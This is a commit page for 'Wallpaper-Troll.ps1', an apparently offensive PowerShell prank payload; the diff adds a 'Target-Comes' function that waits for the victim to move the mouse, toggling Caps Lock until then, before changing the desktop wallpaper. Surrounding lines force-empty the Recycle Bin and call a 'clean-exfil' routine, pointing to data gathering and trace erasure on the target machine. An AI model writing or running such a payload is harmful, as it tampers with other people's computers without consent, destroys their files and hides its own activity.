Update Wallpaper-Troll.ps1
This commit is contained in:
parent
106282b2bd
commit
22ea22ac5c
1 changed files with 21 additions and 1 deletions
|
@ -406,6 +406,26 @@ Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
#----------------------------------------------------------------------------------------------------
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Target-Comes {
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Target-Comes
|
||||||
|
|
||||||
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||||
|
|
||||||
clean-exfil
|
clean-exfil
|
||||||
|
|
Loading…
Reference in a new issue